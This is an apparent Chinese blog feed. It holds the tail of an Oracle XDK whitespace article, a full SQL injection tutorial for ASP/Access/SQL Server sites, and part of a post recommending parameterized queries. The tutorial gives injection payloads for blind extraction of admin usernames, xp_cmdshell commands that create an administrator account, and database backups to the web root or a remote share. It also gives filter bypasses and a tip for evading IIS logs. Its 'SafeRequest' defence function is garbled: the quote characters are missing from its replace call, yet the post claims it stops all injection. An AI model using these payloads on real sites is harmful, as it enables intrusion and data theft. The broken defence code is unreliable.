<p>根据 W3C XML 规范，默认情况下，Oracle XML 开发人员工具包 (XDK) XML 分析器将保留所有空白字符。因此，<strong>xml:space </strong>=&ldquo;<em>default</em>&rdquo;或 <strong>xml:space </strong>=&ldquo;<em>preserve </em>&rdquo;将具有相同的作用：保留空白字符。若要避免保留空白字符，需要按如下所示设置 Oracle XDK 分析器：</p>
<p>XDK DOM Parser：</p>
<pre>DOMParser parser = new DOMParser();
parser.setPreserveWhitespace(false);</pre>
<p>SAX Parser：</p>
<pre>SAXParser parser = new SAXParser();
parser.setPreserveWhitespace(false);</pre>
<p><strong>XSLT 转换</strong>。W3C XSLT 规范提供了两个元素（即 <strong>xsl:strip-space </strong>和 <strong>xsl:preserve-spacea&euro;&rdquo;</strong>）来处理空白字符。<strong>xsl:strip-space </strong>指定了应删除空白字符文本节点（即文本节点完全由空白字符组成）的 XML 元素。请注意，<strong>xsl:strip-space </strong>只有影响纯空白字符的节点。<strong>xsl:strip-space </strong>可以列为一组由空白字符或使用通配符（例如 *）隔开的元素。<strong>xsl:preserve-space </strong>具有类似的语法，但执行的结果却与 <strong>xsl:strip-space </strong>正好相反。</p>
<p>以下示例（请参阅示例 3）应用了一个复制源文档的 XSL 样式表，但删去了空白字符文本节点：</p>
<pre class="style5">&lt;xsl:stylesheet xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot; version=&quot;1.0&quot;&gt;
&lt;xsl:output method=&quot;xml&quot; omit-xml-declaration=&quot;yes&quot;/&gt; 
<strong>&lt;xsl:strip-space elements=&quot;*&quot;/&gt;
</strong>&lt;xsl:template match=&quot;@*|node()&quot;&gt;
&lt;xsl:copy&gt;
&lt;xsl:apply-templates select=&quot;@*|node()&quot;/&gt;
&lt;/xsl:copy&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;</pre>
<p>对于如下所示的 XML 文档：</p>
<pre class="style5">&lt;rootElement&gt; 
&lt;childElement test=&quot;true&quot;&gt; 
Value 
&lt;/childElement&gt;This is the test 
&lt;childElement test=&quot;true&quot; xml:space=&quot;preserve&quot;&gt; 
Value 
&lt;/childElement&gt; 
&lt;childElement xml:space=&quot;preserve&quot;&gt; 
&lt;/childElement&gt; 
&lt;childElement&gt; 
&lt;/childElement&gt; 
&lt;/rootElement&gt;</pre>
<p>XSLT 转换将生成以下结果：</p>
<pre class="style5">&lt;rootElement&gt;&lt;childElement test=&quot;true&quot;&gt; 
Value 
&lt;/childElement&gt;This is the test 
&lt;childElement test=&quot;true&quot; xml:space=&quot;preserve&quot;&gt; 
Value 
&lt;/childElement&gt;&lt;childElement xml:space=&quot;preserve&quot;&gt; 
&lt;/childElement&gt;&lt;childElement/&gt;&lt;/rootElement&gt;</pre>
<p>您可能注意到，如果 XML 元素中的 <strong>xml:space=&quot;<em>preserved</em>&quot;</strong>，则不会删去空白字符。这种行为基于 XSLT 规范，该规范定义了保留空白字符的条件：</p>
<p><em>文本节点的父元素具有的 xml:space 属性值为 preserve，并且没有更近的父元素具有带有默认值的 xml:space。 </em></p>
<p>XSLT 还提供 <strong>normalize-space()</strong> 函数，将包含多个空白字符的字符串转换为一个空白字符，从作为参数传递给它的字符串删除所有前导空白字符和尾随空白字符。</p>
<p><strong>DOM 序列化</strong>。序列化 XML 文档时，输出缩进将添加无意义空白字符。默认情况下，Oracle XDK DOM 分析器将以缩进格式打印 XML DOM 文档。</p>
<p>要避免缩进，<span lang="EN-US" xml:lang="EN-US">在 XDK 9i 中，可将</span> oracle.xml.parser.v2.XMLPrintDriver 类划分为子类，如下所示（请参阅示例 4）：</p>
<pre>import oracle.xml.parser.v2.XMLPrintDriver;
import oracle.xml.parser.v2.XMLOutputStream;</pre>
<pre>class MyXMLPrintDriver extends XMLPrintDriver
   {
public MyXMLPrintDriver(java.io.OutputStream A)
   {
super(A);
out.setOutputStyle(XMLOutputStream.COMPACT);
   }
   }</pre>
<p>在 Oracle XDK 10<em>g</em> 中，新增了一个函数 oracle.xml.parser.v2.XMLPrintDriver.setFormatPrettyPrint()，可用于避免执行子类划分操作。使用 Oracle XDK 10<em>g</em>，您可以打印不带缩进的 XML DOM 文档，如下所示（请参阅示例 5）：</p>
<pre>XMLPrintDriver myprint = new XMLPrintDriver(System.out);
myprint.setFormatPrettyPrint(false);
Xml_doc.print(myprint);</pre>
<h2>结论</h2>
<p>现在，利用这些基本知识，您可以成功避免由 XML 文档中的空白字符引发的问题。</p>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=423</link>
      <title><![CDATA[ASP/SQL 注入天书]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-2-2 16:33:15</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=423</guid>
      <comments>
              /Blog/Blog.aspx?Id=423#commentbox
            </comments>
      <description><![CDATA[<p>随着 B/S 模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的 SQL Injection，即ＳＱＬ注入。</p><div class="BlogContent">
<h4>引言</h4>

<p>ＳＱＬ注入是从正常的 WWW 端口访问，而且表面看起来跟一般的 Web 页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看 IIS 日志的习惯，可能被入侵很长时间都不会发觉。</p>
<p>但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与&ldquo;菜鸟&rdquo;的根本区别。</p>
<p>根据国情，国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上，PHP+MySQ 占 20%，其他的不足 10%。在本文，我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧，PHP 注入的文章由 NB 联盟的另一位朋友 zwell 撰写，希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？ Lets Go...</p>
<h4>入门篇</h4>
<p>如果你以前没试过ＳＱＬ注入的话，那么第一步先把 IE 菜单 =&gt;工具 =&gt; Internet 选项 =&gt; 高级 =&gt; 显示友好 HTTP 错误信息 前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为 HTTP 500 服务器错误，不能获得更多的提示信息。</p>
<p><strong>第一节、ＳＱＬ注入原理</strong></p>
<p>以下我们从一个网站 <a href="http://www.mytest.com/">www.mytest.com</a> 开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。</p>
<p>在网站首页上，有名为&ldquo; IE 不能打开新窗口的多种解决方法&rdquo;的链接，地址为：<a href="http://www.mytest.com/showdetail.asp?id=49">http://www.mytest.com/showdetail.asp?id=49</a>，我们在这个地址后面加上单引号&rsquo;，服务器会返回下面的错误提示：</p>
<p class="Code">Microsoft&nbsp;JET&nbsp;Database&nbsp;Engine&nbsp;错误&nbsp;80040e14&nbsp; <br />
字符串的语法错误&nbsp;在查询表达式&nbsp;ID=49&nbsp;中。&nbsp; <br />
/showdetail.asp，行8</p>
<p>从这个错误提示我们能看出下面几点：</p>
<ol>
    <li>网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。</li>
    <li>程序没有判断客户端提交的数据是否符合程序要求。</li>
    <li>该SQL语句所查询的表中有一名为ID的字段。</li>
</ol>
<p>从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。</p>
<p><strong>第二节、判断能否进行ＳＱＬ注入</strong></p>
<p>看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？ 其实，这并不是最好的方法，为什么呢？</p>
<p>首先，不一定每台服务器的 IIS 都返回具体错误提示给客户端，如果程序中加了 cint(参数) 之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。</p>
<p>其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的</p>
<p>那么，什么样的测试方法才是比较准确呢？答案如下：</p>
<ol>
    <li><a href="http://www.mytest.com/showdetail.asp?id=49">http://www.mytest.com/showdetail.asp?id=49</a></li>
    <li><a href="http://www.mytest.com/showdetail.asp?id=49 ;and 1=1" target="_blank">http://www.mytest.com/showdetail.asp?id=49 ;and 1=1</a></li>
    <li><a href="http://www.mytest.com/showdetail.asp?id=49 ;and 1=2" target="_blank">http://www.mytest.com/showdetail.asp?id=49 ;and 1=2</a></li>
</ol>
<p>这就是经典的 <strong>1=1、1=2 测试法 </strong>了，怎么判断呢？看看上面三个网址返回的结果就知道了，可以注入的表现：</p>
<ol>
    <li>正常显示（这是必然的，不然就是程序有错误了）</li>
    <li>正常显示，内容基本与&nbsp;1 相同</li>
    <li>提示 BOF 或 EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof 时）、或显示内容为空（程序加了on error resume next）</li>
</ol>
<p>不可以注入就比较容易判断了，1 同样正常显示，2 和 3 一般都会有程序定义的错误提示，或提示类型转换时出错。</p>
<p>当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的&ldquo;ＳＱＬ注入一般步骤&rdquo;再做分析。</p>
<p><strong>第三节、判断数据库类型及注入方法</strong></p>
<p>不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般 ASP 最常搭配的数据库是 Access 和 SQLServer，网上超过 99% 的网站都是其中之一。</p>
<p>怎么让程序告诉你它使用的什么数据库呢？来看看： SQLServer 有一些系统变量，如果服务器 IIS 提示没关闭，并且 SQLServer 返回错误提示的话，那可以直接从出错信息获取，方法如下：</p>
<ul>
    <li><a href="http://www.mytest.com/showdetail.asp?id=49 ;and user&gt;0" target="_blank">http://www.mytest.com/showdetail.asp?id=49 ;and user&gt;0</a></li>
</ul>
<p>这句语句很简单，但却包含了 SQLServer 特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在 and user&gt;0，我们知道，user 是 SQLServer 的一个内置变量，它的值是当前连接的用户名，类型为 nvarchar。拿一个 nvarchar 的值跟 int 的数 0 比较，系统会先试图将 nvarchar 的值转成 int 型，当然，转的过程中肯定会出错， SQLServer 的出错提示是：将 nvarchar 值 &rdquo;abc&rdquo; 转换数据类型为 int 的列时发生语法错误，呵呵，abc 正是变量 user 的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。</p>
<p>顺便说几句，众所周知，SQLServer 的用户 sa 是个等同 Adminstrators 权限的角色，拿到了 sa 权限，几乎肯定可以拿到主机的&nbsp;Administrator 了。上面的方法可以很方便的测试出是否是用 sa 登录，要注意的是：如果是 sa 登录，提示是将 &rdquo;dbo&rdquo; 转换成 int 的列发生错误，而不是&rdquo;sa&rdquo;。</p>
<p>如果服务器 IIS 不允许返回错误提示，那怎么判断数据库类型呢？我们可以从 Access 和 SQLServer 和区别入手，Access 和 SQLServer 都有自己的系统表，比如存放数据库中所有对象的表，Access 是在系统表 [msysobjects ]中，但在 Web 环境下读该表会提示&ldquo;没有权限&rdquo;，SQLServer 是在表 [sysobjects] 中，在 Web 环境下可正常读取。</p>
<p>在确认可以注入的情况下，使用下面的语句：</p>
<ul>
    <li>http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)&gt;0</li>
    <li>http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)&gt;0</li>
</ul>
<p>如果数据库是 SQLServer，那么第一个网址的页面与原页面 http://www.mytest.com/showdetail.asp?id=49 是大致相同的；而第二个网址，由于找不到表 msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。</p>
<p>如果数据库用的是 Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启 IIS 错误提示时的验证。</p>
<h4>进阶篇</h4>
<p>在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：</p>
<p><strong>第一节、ＳＱＬ注入的一般步骤</strong></p>
<p>首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。 <br />
其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：</p>
<ol>
    <li>ID=49 这类注入的参数是数字型，SQL语句原貌大致如下： <br />
    Select * from 表名 where 字段=49 <br />
    注入的参数为 ID=49 And [查询条件]，即是生成语句： <br />
    Select * from 表名 where 字段=49 And [查询条件]</li>
    <li>Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下： <br />
    Select * from 表名 where 字段=&rsquo;连续剧&rsquo; <br />
    注入的参数为Class=连续剧&rsquo; and [查询条件] and &lsquo;&rsquo;=&rsquo; ，即是生成语句： <br />
    Select * from 表名 where 字段=&rsquo;连续剧&rsquo; and [查询条件] and &lsquo;&rsquo;=&rsquo;&rsquo;</li>
    <li>搜索时没过滤参数的，如 keyword=关键字，SQL语句原貌大致如下： <br />
    Select * from 表名 where 字段 like &rsquo;%关键字%&rsquo; <br />
    注入的参数为 keyword=&rsquo; and [查询条件] and &lsquo;%25&rsquo;=&rsquo;， 即是生成语句： <br />
    Select * from 表名 where 字段 like &rsquo;%&rsquo; and [查询条件] and &lsquo;%&rsquo;=&rsquo;%&rsquo;</li>
</ol>
<p>接着，将查询条件替换成SQL语句，猜解表名，例如：</p>
<ul>
    <li>ID=49 And (Select Count(*) from Admin)&gt;=0</li>
</ul>
<p>如果页面就与 ID=49 的相同，说明附加条件成立，即表 Admin 存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。 表名猜出来后，将 Count(*) 替换成 Count(字段名)，用同样的原理猜解字段名。</p>
<p>有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在 100% 成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。 有点跑题了，话说回来，对于 SQLServer 的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。</p>
<p>最后，在表名和列名猜解成功后，再使用 SQL 语句，得出字段的值，下面介绍一种最常用的方法－Ascii 逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。</p>
<p>我们举个例子，已知表 Admin 中存在 username 字段，首先，我们取第一条记录，测试长度：</p>
<ul>
    <li><u>http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)&gt;0</u></li>
</ul>
<p>先说明原理：如果 top 1 的 username 长度大于 0，则条件成立；接着就是 &gt;1、&gt;2、&gt;3 这样测试下去，一直到条件不成立为止，比如 &gt;7成立，&gt;8 不成立，就是 len(username)=8</p>
<p>当然没人会笨得从 0,1,2,3 一个个测试，怎么样才比较快就看各自发挥了。在得到 username 的长度后，用 mid(username,N,1) 截取第 N 位字符，再 asc(mid(username,N,1)) 得到 ASCII 码，比如：</p>
<ul>
    <li>id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0</li>
</ul>
<p>同样也是用逐步缩小范围的方法得到第 1 位字符的 ASCII 码，注意的是英文和数字的 ASCII 码在 1-128 之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。</p>
<p><strong>第二节、ＳＱＬ注入常用函数</strong></p>
<p>有 SQL 语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的 SQL 水平，特别是一些常用的函数及命令。</p>
<ol>
    <li>Access：asc(字符) SQLServer：unicode(字符)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 作用：返回某字符的ASCII码</li>
    <li>Access：chr(数字) SQLServer：nchar(数字)&nbsp;&nbsp;&nbsp;&nbsp; 作用：与asc相反，根据ASCII码返回字符</li>
    <li>Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)&nbsp;&nbsp;&nbsp;&nbsp; 作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串</li>
    <li>Access：abc(数字) SQLServer：abc (数字)&nbsp;&nbsp; 作用：返回数字的绝对值（在猜解汉字的时候会用到）</li>
    <li>Access：A between B And C SQLServer：A between B And C&nbsp;&nbsp;&nbsp; 作用：判断A是否界于B与C之间</li>
</ol>
<p><strong>第三节、中文处理方法</strong></p>
<p>在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，&ldquo;中文恐惧症&rdquo;很快可以克服。 先说一点常识：</p>
<ul>
    <li>Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。</li>
    <li>SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。</li>
</ul>
<p>了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。</p>
<h4>高级篇</h4>
<p>看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。</p>
<p><strong>第一节、利用系统表注入SQLServer数据库</strong></p>
<p>SQLServer 是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：</p>
<ol>
    <li>http://Site/url.asp?id=1;exec master..xp_cmdshell &ldquo;net user name password /add&rdquo;-- <br />
    分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：</li>
    <li>http://Site/url.asp?id=1;exec master..xp_cmdshell &ldquo;net localgroup name administrators /add&rdquo;-- <br />
    将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。</li>
    <li>http://Site/url.asp?id=1 ;and db_name()&gt;0 <br />
    前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。</li>
    <li>http://Site/url.asp?id=1;backup database 数据库名 to disk=&rsquo;c:\inetpub\wwwroot\1.db&rsquo;;-- <br />
    这是相当狠的一招，从 3 拿到的数据库名，加上某些 IIS 出错暴露出的绝对路径，将数据库备份到 Web 目录下面，再用 HTTP 把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share \1.db），但成功率不高。</li>
    <li>http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=&rsquo;U&rsquo; and status&gt;0)&gt;0 <br />
    前面说过，sysobjects 是 SQLServer 的系统表，存储着所有的表名、视图、约束及其它对象，xtype=&rsquo;U&rsquo; and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。</li>
    <li>http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(&lsquo;表名&rsquo;),1) from sysobjects)&gt;0 <br />
    从 5 拿到表名后，用 object_id(&lsquo;表名&rsquo;)获取表名对应的内部 ID，col_name(表名ID,1) 代表该表的第 1 个字段名，将 1 换成 2,3,4...就可以逐个获取所猜解表里面的字段名。</li>
</ol>
<p>以上 6 点是我研究 SQLServer 注入半年多以来的心血结晶，可以看出，对 SQLServer 的了解程度，直接影响着成功率及猜解速度。在我研究 SQLServer 注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许<strong>安全与开发本来就是相辅相成的</strong>吧。</p>
<p><strong>第二节、绕过程序限制继续注入</strong></p>
<p>在入门篇提到，有很多人喜欢用&rsquo;号测试注入漏洞，所以也有很多人用过滤&rsquo;号的方法来&ldquo;防止&rdquo;注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。</p>
<p>在&ldquo;ＳＱＬ注入的一般步骤&rdquo;一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在&ldquo;利用系统表注入SQLServer数据库&rdquo;中，有些语句包含有&rsquo;号，我们举个例子来看看怎么改造这些语句：</p>
<p>简单的如where xtype='U'，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name='用户'，可以用where name=nchar(29992)+nchar(25143)代替。</p>
<p><strong>第三节、经验小结</strong></p>
<ol>
    <li>有些人会过滤 Select、Update、Delete 这些关键字，但偏偏忘记区分大小写，所以大家可以用 selecT 这样尝试一下。</li>
    <li>在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。</li>
    <li>特别注意：地址栏的+号传入程序后解释为空格，%2B 解释为 + 号，%25 解释为 % 号，具体可以参考 URLEncode 的相关介绍。</li>
    <li>用 Get 方法注入时，IIS 会记录你所有的提交字符串，对 Post 方法做则不记录，所以能用 Post 的网址尽量不用Get。</li>
    <li>猜解 Access 时只能用 Ascii 逐字解码法，SQLServer 也可以用这种方法，只需要两者之间的区别即可，但是如果能用 SQLServer 的报错信息把值暴露出来，那效率和准确率会有极大的提高。</li>
</ol>
<h4>防范方法</h4>
<p>ＳＱＬ注入漏洞可谓是&ldquo;千里之堤，溃于蚁穴&rdquo;，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替 ASP 中的 Request 函数，可以对一切的 SQL 注入 Say NO，函数如下：</p>
<div class="codeText">
<div class="codeHead">ASP/Visual Basic代码</div>
<ol class="dp-vb">
    <li class="alt"><span><span class="keyword">Function</span><span>&nbsp;SafeRequest(ParaName,ParaType) &nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="comment">'ParaName:参数名称-字符型 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="comment">'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符) </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">Dim</span><span>&nbsp;ParaValue &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;ParaValue=Request(ParaName) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;ParaType=1&nbsp;then &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;not&nbsp;isNumeric(ParaValue)&nbsp;then &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.write&nbsp;</span><span class="string">&quot;参数&quot;</span><span>&nbsp;&amp;&nbsp;ParaName&nbsp;&amp;&nbsp;</span><span class="string">&quot;必须为数字型！&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.end &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;if &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">Else</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;ParaValue=replace(ParaValue,</span><span class="string">&quot;&quot;</span><span>,</span><span class="string">&quot;&quot;</span><span>) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;if &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;SafeRequest=ParaValue &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">End</span><span>&nbsp;function&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。 （作者：<font face="Tahoma"><strong>小竹</strong>）</font></p>
</div>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=409</link>
      <title><![CDATA[有关sql注入 ]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2008-1-30 10:14:28</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=409</guid>
      <comments>
              /Blog/Blog.aspx?Id=409#commentbox
            </comments>
      <description><![CDATA[<p><font face="Verdana" size="2">大家存在5点误区： <br />
1、sql注入比较难防，需要替换select,delete等一打字符 <br />
2、忽略DropDownList传来的东西 <br />
</font><font face="Verdana" size="2">3、access比sqlserver不安全 <br />
4、网站没有显示出错信息就说明网站是安全的 <br />
5、忽略post提交的信息 </font></p><p><font face="Verdana" size="2">大家存在5点误区： <br />
1、sql注入比较难防，需要替换select,delete等一打字符 <br />
其实对于字符型替换再多都没有替换单引号为两个单引号来的好！对于数字型替换再多都没有用，一定要类型转换。 <br />
<br />
2、忽略DropDownList传来的东西 <br />
其实是不对的，<strong><font color="#ff0000">一切客户端的东西都是不可信任的（IP都有可能）</font></strong>，select下拉框也是！因为可以自己做一个htm提交到服务器。 <br />
<br />
3、access比sqlserver不安全 <br />
安全不安全关键看怎么用，如果sqlserver还是像access一样用，一个sa帐户的话，很明显，sqlserver比access不安全，可以直接得到表名和字段名！access反而倒安全点了，因为只能通过逐位猜解得到。 <br />
<br />
4、网站没有显示出错信息就说明网站是安全的 <br />
当有记录的时候显示记录，没有记录的时候显示找不到任何记录，通过这两种状态就可以猜解字段名了，所以网页不出错不能说明是安全的 <br />
<br />
5、忽略post提交的信息 <br />
很多人对url上传递的东西过滤严格，对于post的东西不理不睬是不对的，post的东西更加容易被注入，因为一般字段比较多 <br />
<br />
在asp.net中强烈建议通过参数来实现sql而不是sql拼接，因为就算你每一个都过滤百密难有疏 <br />
比如：</font></p>
<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">C#代码</div>
<ol class="dp-c">
    <li class="alt"><span><span>SqlConnection&nbsp;conn=</span><span class="keyword">new</span><span>&nbsp;SqlConnection(System.Configuration.ConfigurationSettings.AppSettings[</span><span class="string">&quot;conn&quot;</span><span>]);&nbsp; &nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SqlCommand&nbsp;comm=</span><span class="keyword">new</span><span>&nbsp;SqlCommand(</span><span class="string">&quot;update&nbsp;tb1&nbsp;set&nbsp;vName=@vName,iAge=@iAge&nbsp;where&nbsp;ID=@id&quot;</span><span>,conn);&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SqlParameter&nbsp;parm1=</span><span class="keyword">new</span><span>&nbsp;SqlParameter(</span><span class="string">&quot;@vName&quot;</span><span>,SqlDbType.NVarChar,50);&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parm1.Value=((TextBox)e.Item.FindControl(</span><span class="string">&quot;name&quot;</span><span>)).Text;&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SqlParameter&nbsp;parm2=</span><span class="keyword">new</span><span>&nbsp;SqlParameter(</span><span class="string">&quot;@iAge&quot;</span><span>,SqlDbType.Int);&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parm2.Value=((TextBox)e.Item.FindControl(</span><span class="string">&quot;age&quot;</span><span>)).Text;&nbsp; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SqlParameter&nbsp;parm3=</span><span class="keyword">new</span><span>&nbsp;SqlParameter(</span><span class="string">&quot;@id&quot;</span><span>,SqlDbType.Int);&nbsp; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parm3.Value=</span><span class="keyword">this</span><span>.DataGrid1.DataKeys[e.Item.ItemIndex];&nbsp; &nbsp;&nbsp;</span></li>
